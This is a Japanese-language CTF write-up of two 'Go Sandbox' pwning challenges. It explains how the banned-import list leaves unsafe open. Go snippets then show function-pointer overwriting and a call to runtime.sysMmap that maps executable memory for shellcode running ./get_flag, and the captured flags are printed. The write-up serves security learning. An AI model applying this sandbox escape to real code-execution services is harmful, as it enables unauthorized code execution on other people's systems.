Go Sandbox (Pwning, 150)
We found a sandbox written in Go. It looks pretty solid, but there must be a bug somewhere. All you need to do for us is to execute ./get_flag IP: gobox.hackable.software:1337 Download
Golangのソースコードを実行するサンドボックス。./get_flag
を実行するとflagが得られる。
golangのバイナリはstatic linkされているためサイズが大きく解析がしにくい。main関数はmain.mainとしてシンボル定義されているので、そこから読んでいく。プログラムの流れは、ソースコードの入力、制限チェック、ビルドして実行するだけ。
main.checkProgram内でgo/parser
を使ってソースコードを静的解析して制限チェックを行う。ここではimportできるpackageが制限されており、以下の文字列が含まれるpackageが禁止されている。
archive, compress, crypto, database, debug, encoding, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text, C
syscall
やC
が禁止されているので、直接execve syscallを呼ぶことができないが、ここではunsafe
が禁止されてないので、unsafe
を使って任意のコードを実行できるようにしてみる。
unsafe
unsafeはCのポインタ演算のようなことができる。この名前の通り、間違った使い方をすると危険。
アドレスに飛ぶ
まず、unsafe
でmain関数のアドレスを取得してみる。
f := main refAddr := uintptr(*(*int64)(unsafe.Pointer(&f))) addr := uintptr(*(*int64)(unsafe.Pointer(refAddr))) fmt.Printf("%x -> %x\n", refAddr, addr) #=> 52ae18 -> 401010
変数f
にはこのようにmain.mainのアドレスが入っており、この中身を変数addr
に代入している。
次に指定したアドレスに飛んでみる。
func test() { } func callAddr(addr uint64) unsafe.Pointer { p := int64(uintptr(unsafe.Pointer(&addr))) f := test *(*int64)(unsafe.Pointer(unsafe.Pointer(&f))) = p return unsafe.Pointer(&f) } func main() { pwned := *(*func())(callAddr(0xdeadbeef)) pwned() }
test関数へ参照しているポインタを指定したアドレスに書き換えてから関数呼び出しを行う。
ちなみにビルドされたバイナリはこのようになっている。インライン展開されているのとunsafe.Pointerは単純にポインタの演算になってしまっていることに注意。
アドレス0xdeadbeefは存在しないので、fatalするが0xdeadbeefには飛んでいることが分かる。
unexpected fault address 0xdeadbeef fatal error: fault [signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]
シェルコードを実行する
go 1.6ではNXが有効なのでheapやstackに共に実行できない。
嬉しいことに生成されるバイナリにはruntime.sysMmap
がリンクされているので、これを使ってexecutableなメモリ領域を確保してシェルコードを実行することができる。
runtime.sysMmap
は単純にmmap syscallを呼ぶだけの関数。
同じ環境でバイナリをビルドすることでruntime.sysMmap
のアドレスをあらかじめ知っておくことができる。(static linkされているのでアドレスは固定)
mmapを呼ぶことでアドレス0x1000000にrwxな領域を確保する。
mmap := *(*func(unsafe.Pointer, uintptr, int32, int32, int32, uint32))(callAddr(0x44e110)) // runtime.sysMmap shellcodeAddr := unsafe.Pointer(uintptr(0x1000000)) mmap(shellcodeAddr, 4096, 7, 0x32, -1, 0)
最後に確保した領域に./get_flag
を実行するシェルコードを書き込んで呼び出せば終わり。
flag: DrgnS{Uns4fe_Go_15_un5af3}
以上よりunsafe
が使えると任意のコードが実行できることが分かる。
Go Sandbox 2 (Pwning, 250)
The bug in the previous sandbox was fixed, but there's surely something wrong with this one too. The task is, as before, to execute ./get_flag IP: gobox2.hackable.software:1337 Download
前回と同じソースコードで通る。
flag: DrgnS{D4rn_5tR1ng_Int3Rpo14TI0n}